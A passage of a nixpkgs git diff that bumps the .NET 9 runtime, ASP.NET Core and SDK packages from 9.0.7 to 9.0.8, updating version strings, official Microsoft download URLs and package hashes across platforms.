         pname = "Microsoft.AspNetCore.App.Runtime.win-x64";
-        version = "9.0.7";
-        hash = "sha512-7p8ELP0eWRjIb7/djqopJYoLoQstaBZFh7vDB91ikkXXlCxyHr14h0CygLkcUELTMvSS0jnAQ+icnYy5NBA0SA==";
+        version = "9.0.8";
+        hash = "sha512-gXQpEX6W6CWyUpmX1zbRE4pGR3c0EJLbBqkXOpqiPpLc/qh6in+tC4MhGWesCNLOsZXf0nlFikBUouKeX4heUA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-x64";
-        version = "9.0.7";
-        hash = "sha512-Yk+dlmzAg05RUkf3C4eUuEwpk+QFSR8lFpIe5EUT9owyCqCYBa2NrkqeRP2XoIPzbqhNIZqB6ChSbpg0wbPMlg==";
+        version = "9.0.8";
+        hash = "sha512-shIJcIsVRmlyuiBNu/OJ0cl3YS2g8LAUwN+r42Jin+HZYkZE5Esf3Zl6KNrBG4JdhZD32jNZ9JE/m0uB0PbLRQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-x64";
-        version = "9.0.7";
-        hash = "sha512-+oZ4sarYCA5fqawFE/9JFJtNnERKCMRY4SBNI6FVKtLomoOKbu5LxdxcV4SWYBqfXg08fWJEZX8qHr/Mmd/nHQ==";
+        version = "9.0.8";
+        hash = "sha512-ubHRXN/19HpDTzlaXIAJUVOpfgOOnsPwIwxk+rlaO1nv2w74aa8dUQGtPeqNkpo87CSdwpc1uaDe79NLGeY0HQ==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.7";
-        hash = "sha512-ozFg9cjKG8pN56wrFPV+m0wbVyK+cOutTo8LrIVYeL3epXnahBIa6em7POXvJF2FRmTRjD85ASH8xIrVMc7z6w==";
+        version = "9.0.8";
+        hash = "sha512-RFXToE31qPxev1Ei0hosMf8jN9U9hivDSiTWGFaBg8Bjyeai5YZ4JcYfNi3yNyaBKrra8sdPtcKMBHn3JtRnTw==";
       })
     ];
     win-x86 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-x86";
-        version = "9.0.7";
-        hash = "sha512-vgQaQhPWngepjw+y9qhNx9b/QDK1YmSlYzjO8WUGfYDPnUn40gLUzMKlPUAAMTPBIt3clULPLy5K6c6w3bvQxg==";
+        version = "9.0.8";
+        hash = "sha512-Hq2Jkbv1dN5A6hojoNpZYsWdHlmALRRZSAxWY6y/bYfwczY7xRXPcwDWcXg3TgURZ3tYDjLAZmKvmkxe8CGOWQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-x86";
-        version = "9.0.7";
-        hash = "sha512-ec2/bdKdUMyYC93cIJ6sqAG5yqdjJ1ikRwy7U12B77HrWMBUOI3UeHRmgcBNw775fYZ8Ut1P15WyaZmCJMW+fQ==";
+        version = "9.0.8";
+        hash = "sha512-iAKhXmVqwtB1oU09QaFgY1rHegt+GczpjlpmKibZCGjewULMevVnFaNTUGgnNKfnFziEy9Ou9khGyRjumrDbsg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-x86";
-        version = "9.0.7";
-        hash = "sha512-yebdLREVWLaayNNfyAu1rffiP4GIpa+Tyz7dhGIF1AlYPWdFHGldYz1eYepzWqqiAXWWgEINQaLD8yaPgRLnSQ==";
+        version = "9.0.8";
+        hash = "sha512-JTcyKAl8lxnWoIptRAw9qdF1wfxKQb6JNs898g/HJQIOBQCuW6DkJy7TAn6QHhJPQ0o5KS4LtG/wCTs05IO3+g==";
       })
       (fetchNupkg {
         pname = "runtime.win-x86.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.7";
-        hash = "sha512-QAJEJd7C4MErPoK6kjzmL7aTiRYSDXRhl3WwDyGzIEav5Me7jDo1OWAENnRL2jw/tB4FAl0k8ADclshPyZRrPw==";
+        version = "9.0.8";
+        hash = "sha512-SkW+QLlwQVY3G1yYd8ECVY22NtMo+gkGvnzOSQqsQ91e1Ihf8kGtAQ8mX8/NNmM4ekj7XuwsdGK6mt89HNoFXA==";
       })
     ];
   };
 
 in
 rec {
-  release_9_0 = "9.0.7";
+  release_9_0 = "9.0.8";
 
   aspnetcore_9_0 = buildAspNetCore {
-    version = "9.0.7";
+    version = "9.0.8";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.7/aspnetcore-runtime-9.0.7-linux-arm.tar.gz";
-        hash = "sha512-dMQjUb5A3W8gZWzC9AUz1fRddZM4/EnNvWnYP7TPTkFX3Ek8CAg8SEdES8RiidAz+TyXgHL53nK+56VBJRq6DA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.8/aspnetcore-runtime-9.0.8-linux-arm.tar.gz";
+        hash = "sha512-qZREscunr0rNEtmtQSb+Ss3fLvDgK5md4LwYU3QuE27/sD7XrcKgpHBi0AUbMXkyCkf9PSOdD7hvl3W3PeQ9Gg==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.7/aspnetcore-runtime-9.0.7-linux-arm64.tar.gz";
-        hash = "sha512-ebKN8rxSLUe9DqP4tKqkRxAvkgGdA4ZwdD+7weazHdIGSZ/238LTFiPe22Sp4sojYIx+pyJfHwcXRd5yyfgb9A==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.8/aspnetcore-runtime-9.0.8-linux-arm64.tar.gz";
+        hash = "sha512-zx5y9LMnuTwaw/Le+cqDvuJ6QI5bWRP4TtlUz9bEY52hZk/j9OOSWIPbd+0p+lNkucqK83lvM8pzpMt0hOMmvA==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.7/aspnetcore-runtime-9.0.7-linux-x64.tar.gz";
-        hash = "sha512-sXXU0FePn11zXVne8/REWUYu82tL0H2coO2YU79C2Qx7rOGV/yZKnc9t1NbUUshwWQhRRiaPzjVA7Vjq85Yp6w==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.8/aspnetcore-runtime-9.0.8-linux-x64.tar.gz";
+        hash = "sha512-CK/fkk0A+HW0TMTv9otV+5tj5Mxo5rXN6HPaK86cW19BIOhptqHf3qSrEEqwrIeD7xV3tNMnWq6JmlPNiBMPHQ==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.7/aspnetcore-runtime-9.0.7-linux-musl-arm.tar.gz";
-        hash = "sha512-NJd8TzThH1Kr3A5I8E3JWrDRvf1kHdQKTFOQwJDSQuxF7VCvsXYTn87WpaU0ayU0X9+r/x6kOLhZS1JpLxSjrQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.8/aspnetcore-runtime-9.0.8-linux-musl-arm.tar.gz";
+        hash = "sha512-RND6DTb5z/mT9wie/TsrPg5g1AO8K1o5URa+fWtDqCRx4qu0TNFwJGStMCM3vD4M5J4kLwL6FKEUKI8PimYilg==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.7/aspnetcore-runtime-9.0.7-linux-musl-arm64.tar.gz";
-        hash = "sha512-1La1Q5lX9q0xwfiT4+dbToy7Py8dmn+iGukimuZSX8+Y1kO+pMuOeNscUJ49t1t4axI5/S3vIyjplUGisE5XqQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.8/aspnetcore-runtime-9.0.8-linux-musl-arm64.tar.gz";
+        hash = "sha512-5ExwXEbRT8tXVPF7o0bqKHb8G9tEv6A3K0jAmXkZmnaOuCdmuOfiK53AGnw4uFPvG1P4stxX3vFbPcJf0I6yVg==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.7/aspnetcore-runtime-9.0.7-linux-musl-x64.tar.gz";
-        hash = "sha512-rH/FG4C8uSwoIlIIOEksyQjAjQYBFILbOHdtaqxEIASvEKULrOJeLdmGxDC2HKzcGIyqHnJ8WCHO7maaC8sOlQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.8/aspnetcore-runtime-9.0.8-linux-musl-x64.tar.gz";
+        hash = "sha512-5D3IU1sy+f0Xtrgc+7l1vkbwn3eTAkBC5i/htJnbZu6tbbESylH+/ZojxnbLbcsBkcWYXC9TQGmB9OFfC272Zw==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.7/aspnetcore-runtime-9.0.7-osx-arm64.tar.gz";
-        hash = "sha512-A2Zf9tvfeAW/3rSrm51R8a4fqG5cyKQtPvqPiNFAK+J9Z9F4ihplnMQnrzQX2P1XLg2YUcBNSyzDdOJoKxIgOQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.8/aspnetcore-runtime-9.0.8-osx-arm64.tar.gz";
+        hash = "sha512-T+od1lxCvVoGUOG+m2K8ygX0jKLI0bWX6VjGX5TfZZZmUHx+twPdnQbyStAHmI/pKvc2P+2z20lQK4pcVPmthA==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.7/aspnetcore-runtime-9.0.7-osx-x64.tar.gz";
-        hash = "sha512-aHivNpxydhhA7fLc1m1Yz0zdvKYYyfvXI6bW04Gc+sYVCo1yyZ93ESm1TC/z5v8lgFyI5w5d7zAeJChFi370Rg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.8/aspnetcore-runtime-9.0.8-osx-x64.tar.gz";
+        hash = "sha512-cOgD8+BEnqxWQ43hL4dx8yJgcpbuU+DmiWziEfXa/gg/XzP54sdsVAEsk/wblR4MFjDJdEd3fcRovvn7EZSfww==";
       };
     };
   };
 
   runtime_9_0 = buildNetRuntime {
-    version = "9.0.7";
+    version = "9.0.8";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.7/dotnet-runtime-9.0.7-linux-arm.tar.gz";
-        hash = "sha512-hdyrtE15/rPwIuZXM7XDsUQWn/y6uWVFgLp6HvvxRY2qkxY5Wm29nMHaw5s066OSnmOhzshPtuVmrREBH63SNA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.8/dotnet-runtime-9.0.8-linux-arm.tar.gz";
+        hash = "sha512-XitlwgOdZuHGyasekrvUh/zRvXphI8FwvqzbHOJGiNc0noSuizhr11i9JHK3NtGO3qg3DMY+tV+sCqs1ZYgP3g==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.7/dotnet-runtime-9.0.7-linux-arm64.tar.gz";
-        hash = "sha512-5c/znYwk0eEUEG6lFWPwxkBUgmiJjoNJow1D8G0ix3WV4Gcl4oBzeT3QI7YSrxFYEjRZBuJszix4jwavYT1CUg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.8/dotnet-runtime-9.0.8-linux-arm64.tar.gz";
+        hash = "sha512-MBXpX/DDc7jVlJHPHDIMgPTsdBjWNAC/ZQjU4l5xpH2yhUkVNIqxhuWKktWsLyD77BPWPfXF9gH/SvXynD2c0w==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.7/dotnet-runtime-9.0.7-linux-x64.tar.gz";
-        hash = "sha512-4nO1kq6eHHXpHOO+b08tIxQydpABQeKcZz1GSQEY0BFfbRlormz+1ZjKMA/oibog+gYHh+u1QDCEM1gKPGxc2A==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.8/dotnet-runtime-9.0.8-linux-x64.tar.gz";
+        hash = "sha512-92luoqMKErrQyPcyGsQoQ87TBxhNiUyUpkyFKJs88wk23zc/9YVDzpt3YFqAJD0fx3e8lZV1Y0qq2cqogPv4Zg==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.7/dotnet-runtime-9.0.7-linux-musl-arm.tar.gz";
-        hash = "sha512-/LZMWeR3TNJw2Fbn4FalAjVnyEBI8BJUBGt3ZLanCNWCxK1Uj7XSMexLCzZp6+nOatJNbnrGlRtQtJAHuOuuoQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.8/dotnet-runtime-9.0.8-linux-musl-arm.tar.gz";
+        hash = "sha512-sQh1B3IPZCmiSihUVMzVSokifIXcsb3wwjQkdyMJR8kc4/FmW+diYRNqk1yXPUvtjF0c7AiX+GsJMWuq7h27Qg==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.7/dotnet-runtime-9.0.7-linux-musl-arm64.tar.gz";
-        hash = "sha512-9cJCVscL9qQS8iEY6EEp74EKY3hxWeNP4MjSH7vB++0jqBa6lXxlNUbowhUr7KKmpEGTlJwOh9a2pkUdr/s77g==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.8/dotnet-runtime-9.0.8-linux-musl-arm64.tar.gz";
+        hash = "sha512-AYQXIV58CoKhnsfhGaQ4vKkYucRI84SyffuH+YGpiKwhTFdvKKrv7IV0WwBc/3C/0pm+Mb8k4xlVOKTpH6bv4w==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.7/dotnet-runtime-9.0.7-linux-musl-x64.tar.gz";
-        hash = "sha512-B0CcgI2pzRmmTlJeYSm8P43k7zKzCHAel6ixQweB7bP4Y7Ds6a+tBIhyce4zIXEA9Rn5bYn+2UIAsGESrPrESg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.8/dotnet-runtime-9.0.8-linux-musl-x64.tar.gz";
+        hash = "sha512-oAgYUGPY80Y15AMoMTrzHnuuI5yNokcmsf8gEuyTDDLvDcDWcpKuvE2FMNKyb6Rs/7M5PPFrzfZsEOqINFitcQ==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.7/dotnet-runtime-9.0.7-osx-arm64.tar.gz";
-        hash = "sha512-DesjrHFNrWm/fQxn5CUyVtCEWIG4BcyLnG8gUSg9X5u7AA02MFhSPc5Mc2HCtGABaoZbbWuqWEPJJjWR1TnrIA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.8/dotnet-runtime-9.0.8-osx-arm64.tar.gz";
+        hash = "sha512-+n7QPNWl4FVfZfjwEBx3Yua/2gBfpJWvoSZRjU1ByXNMZX/DWc+A+Qv2+/GGwmrwOBnbrdUlHpftTL0Ej8J7OA==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.7/dotnet-runtime-9.0.7-osx-x64.tar.gz";
-        hash = "sha512-cOtHKrJPOKam6TBmHgmsZjXdoM8FSJkEDCXPMzLyTxy7PuwZ4c/PIhS0ZtAA9t3H1JRIpsYQbDtw/Qv3Bj9ubQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.8/dotnet-runtime-9.0.8-osx-x64.tar.gz";
+        hash = "sha512-M5jxrKx2R+Jc0kdoBMWtJkyhjhUtDiKzLr2mvV13RMHpMqqQhq7NN5S4208vcl7SD/3UT/YV5ygaCsXdlQc7nw==";
       };
     };
   };
 
   sdk_9_0_1xx = buildNetSdk {
-    version = "9.0.108";
+    version = "9.0.109";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.108/dotnet-sdk-9.0.108-linux-arm.tar.gz";
-        hash = "sha512-FliKnG0DCOC2kqy4VHZMQvGuldzdpDebRKLZPIlwxcl0W0b7QITuwpYeknqloxI7fdO1RtAP14epsGza6/mG/w==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.109/dotnet-sdk-9.0.109-linux-arm.tar.gz";
+        hash = "sha512-QJEtXxu/WbBx0uHTHsHZq93b893GSzIz58fpFpawI+H6eglHJdOZW5MciAA4Ql7OvAXwE/dZYye/SWaSnpgBtQ==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.108/dotnet-sdk-9.0.108-linux-arm64.tar.gz";
-        hash = "sha512-laP4pmKWsjrs2GyiluK9FHzzluL2p7bGvnlbcN8kEdYWPfFeKKa7JiSOILYZwXlN3Fux39Lwp9Xh5YqdLUU5gg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.109/dotnet-sdk-9.0.109-linux-arm64.tar.gz";
+        hash = "sha512-Kd/68u4iQCxgHD4cvvNoKbow/jLpdrMfJH32BaFF76KafiPfUJ7YH6mm0T8eVYFeKlkiA6p5wudniNkBpuGrWA==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.108/dotnet-sdk-9.0.108-linux-x64.tar.gz";
-        hash = "sha512-jC2YjpmLkGxxaEy+muycvytlyzHtjD6xWm5l+WGwMfrroy1xmX9Q1W4E5vAIH4YEgHItwWk8awFVQ+thrNtYdg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.109/dotnet-sdk-9.0.109-linux-x64.tar.gz";
+        hash = "sha512-zDhqjnAJhVpumjqKFT2htc5UwuC3t64wVEXunw1XNVGN/u8Nj/MqREeC4180oxZ1ck4EBTYAGnbJ3Bt1W1omBQ==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.108/dotnet-sdk-9.0.108-linux-musl-arm.tar.gz";
-        hash = "sha512-Qa5oViep0n/EsZom8OdgEVOEkDq7LjkZxPgCe6PnWotANLLpl1Zfd5nq4ZOFED/aHhMbI8F2oWBXiLvL31/BEQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.109/dotnet-sdk-9.0.109-linux-musl-arm.tar.gz";
+        hash = "sha512-62kBlt/TQmebHm0Mw/UAZ74dDypu+RFx/rcS5MSkkb7jgeNQBjgpDh5Z6TP3f1fMZL7ZLK1u6h62VnarikxmoQ==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.108/dotnet-sdk-9.0.108-linux-musl-arm64.tar.gz";
-        hash = "sha512-L8eGZ6/7dXpwcXWjsMVXmF4s6TCnUD9KqE8gsILZiGo1oPDfVLoZAteLAtYY+3yImdxOqZaY6tQ8fMVlz1X/2A==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.109/dotnet-sdk-9.0.109-linux-musl-arm64.tar.gz";
+        hash = "sha512-CZ+bh0Cjx1hBU8KWFg/Jb8y8GMfCRnjv9+ZCXWAsdw1TTE8ttWOTPNT+XJ6y1A99A6H2mu9em5RZDzYM9qFCgQ==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.108/dotnet-sdk-9.0.108-linux-musl-x64.tar.gz";
-        hash = "sha512-CmB51ISh0QT2+vBf7OJTUOnBi0lNy6M4aNkpTHwubJNuehnogsZadXezZ4xCHkDftpHqlQSmfWWqjVuJK5cxjA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.109/dotnet-sdk-9.0.109-linux-musl-x64.tar.gz";
+        hash = "sha512-FonLs6wXs3SQOyFKFz8kFgByrlfMXRMH9bJgUbb/BAV3K2A7amx+8ZUvc3sYyfO5dvc1S4S4mra/Fb4g3QY2tg==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.108/dotnet-sdk-9.0.108-osx-arm64.tar.gz";
-        hash = "sha512-EeZLhqfvjyPAsLdoE1f//OjirZo42SgDeKYbnxUlssN1QTcM1VmL3iu8EkUftbnzklHF7LIORgbBNDSYu+MHEA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.109/dotnet-sdk-9.0.109-osx-arm64.tar.gz";
+        hash = "sha512-ri68P3dAq4gK9W4209Kh7lpU/BErb9zCUo8sjFmAjTZHbV+rXNqn0lgZsOSpARdF86nlxyaSzZMrMA62/YX1rw==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.108/dotnet-sdk-9.0.108-osx-x64.tar.gz";
-        hash = "sha512-knxa6JTbG9pShc3eoC9zzVWtPuSfE0iqFeMoiWOxymlQEvzlH8f6DCV0Tvty+c8Rzc9nqBzZ4EAI+N3gg7zfYg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.109/dotnet-sdk-9.0.109-osx-x64.tar.gz";
+        hash = "sha512-O3Lvl5RoYzAitNIi2jGnP45zjR6n1ENAghXecxGCTk8lycbdGTxEAUwmVZIoKTiVwWSlGTTzB+FT2SfnDLbztw==";
       };
     };
     inherit commonPackages hostPackages targetPackages;
diff --git a/pkgs/development/compilers/dotnet/9/deps.json b/pkgs/development/compilers/dotnet/9/deps.json
index 55735dea2e4a..fda290cb02cd 100644
--- a/pkgs/development/compilers/dotnet/9/deps.json
+++ b/pkgs/development/compilers/dotnet/9/deps.json
@@ -1,50 +1,50 @@
 [
   {
     "pname": "runtime.linux-arm64.Microsoft.NETCore.ILAsm",
-    "sha256": "4ce29622cf3c75525187a4c1eedda32f35b60f35f7452913bd6c02c67acb2d9a",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.linux-arm64.microsoft.netcore.ilasm/9.0.7/runtime.linux-arm64.microsoft.netcore.ilasm.9.0.7.nupkg",
-    "version": "9.0.7"
+    "sha256": "dfde67692b77b9298c63d0748c02961409eaf9ec1f519b3709f40b74d6e4bce0",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.linux-arm64.microsoft.netcore.ilasm/9.0.8/runtime.linux-arm64.microsoft.netcore.ilasm.9.0.8.nupkg",
+    "version": "9.0.8"
   },
   {
     "pname": "runtime.linux-arm64.Microsoft.NETCore.ILDAsm",
-    "sha256": "0eb52b06e67cfe50299af66fd3954726559868e2fb7a875f079d815c189a389b",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.linux-arm64.microsoft.netcore.ildasm/9.0.7/runtime.linux-arm64.microsoft.netcore.ildasm.9.0.7.nupkg",
-    "version": "9.0.7"
+    "sha256": "d58559760799329796108006ed50d2307340e99d910089132b45bb08d9f63746",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.linux-arm64.microsoft.netcore.ildasm/9.0.8/runtime.linux-arm64.microsoft.netcore.ildasm.9.0.8.nupkg",
+    "version": "9.0.8"
   },
   {
-    "hash": "sha256-SJCRMyjgP5W+YVQ5MRoZQNKjfFcMKAcmbwpa2v4zMeA=",
+    "hash": "sha256-L45+wVapWxxvfamjT3xTtJbYfIkUfi0JVptDp06DRUA=",
     "pname": "runtime.linux-x64.Microsoft.NETCore.ILAsm",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.linux-x64.microsoft.netcore.ilasm/9.0.7/runtime.linux-x64.microsoft.netcore.ilasm.9.0.7.nupkg",
-    "version": "9.0.7"
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.linux-x64.microsoft.netcore.ilasm/9.0.8/runtime.linux-x64.microsoft.netcore.ilasm.9.0.8.nupkg",
+    "version": "9.0.8"
   },
   {
-    "hash": "sha256-bqyQXLB5v/npVNE2sN1IJYwCqbUr/WwA5dtHgoNc34Q=",
+    "hash": "sha256-pC7+si0En60bPU1bqM+RxcaDlBUTCwmCgJOqgYdVO8I=",
     "pname": "runtime.linux-x64.Microsoft.NETCore.ILDAsm",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.linux-x64.microsoft.netcore.ildasm/9.0.7/runtime.linux-x64.microsoft.netcore.ildasm.9.0.7.nupkg",
-    "version": "9.0.7"
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.linux-x64.microsoft.netcore.ildasm/9.0.8/runtime.linux-x64.microsoft.netcore.ildasm.9.0.8.nupkg",
+    "version": "9.0.8"
   },
   {
     "pname": "runtime.osx-arm64.Microsoft.NETCore.ILAsm",
-    "sha256": "24f452593a4c3a1f8aca710937d8c63b1d114433087e24d6770ed1162ae4ed7c",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.osx-arm64.microsoft.netcore.ilasm/9.0.7/runtime.osx-arm64.microsoft.netcore.ilasm.9.0.7.nupkg",
-    "version": "9.0.7"
+    "sha256": "fe448edf57d1782e08cfbbc85b4044f227bcd2c5148f5b784afaac22a3708901",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.osx-arm64.microsoft.netcore.ilasm/9.0.8/runtime.osx-arm64.microsoft.netcore.ilasm.9.0.8.nupkg",
+    "version": "9.0.8"
   },
   {
     "pname": "runtime.osx-arm64.Microsoft.NETCore.ILDAsm",
-    "sha256": "f50ea5214b70b79ce38d24882869e9d233d4bd2f8524e6651e022536f00209b9",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.osx-arm64.microsoft.netcore.ildasm/9.0.7/runtime.osx-arm64.microsoft.netcore.ildasm.9.0.7.nupkg",
-    "version": "9.0.7"
+    "sha256": "a8c7fc434d9af9ab767ccaf3416046759c9d25c7ae5385096bf05ca4e4f354d9",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.osx-arm64.microsoft.netcore.ildasm/9.0.8/runtime.osx-arm64.microsoft.netcore.ildasm.9.0.8.nupkg",
+    "version": "9.0.8"
   },
   {
     "pname": "runtime.osx-x64.Microsoft.NETCore.ILAsm",
-    "sha256": "ef1609bc2c37a7e110366244b1ec08f72f8fbd8f2782c28a7c8b4f58dfcf5d26",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.osx-x64.microsoft.netcore.ilasm/9.0.7/runtime.osx-x64.microsoft.netcore.ilasm.9.0.7.nupkg",
-    "version": "9.0.7"
+    "sha256": "448816bf6f7e1400d8ebe89ac1537dc796a8553b0ef2a2403c32e5afccdbc559",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.osx-x64.microsoft.netcore.ilasm/9.0.8/runtime.osx-x64.microsoft.netcore.ilasm.9.0.8.nupkg",
+    "version": "9.0.8"
   },
   {
     "pname": "runtime.osx-x64.Microsoft.NETCore.ILDAsm",
-    "sha256": "16ffb179352b142a8fd39fca13b0ed0240673208bcd6e2dcc19db26e93634b91",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.osx-x64.microsoft.netcore.ildasm/9.0.7/runtime.osx-x64.microsoft.netcore.ildasm.9.0.7.nupkg",
-    "version": "9.0.7"
+    "sha256": "161f30bfea6df634d6e80b4b93a62f598b2380e20cdb82df97f954f72f19532e",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.osx-x64.microsoft.netcore.ildasm/9.0.8/runtime.osx-x64.microsoft.netcore.ildasm.9.0.8.nupkg",
+    "version": "9.0.8"
   }
 ]
diff --git a/pkgs/development/compilers/dotnet/9/release-info.json b/pkgs/development/compilers/dotnet/9/release-info.json
index d67e1f4da129..cf8f95e26780 100644
--- a/pkgs/development/compilers/dotnet/9/release-info.json
+++ b/pkgs/development/compilers/dotnet/9/release-info.json
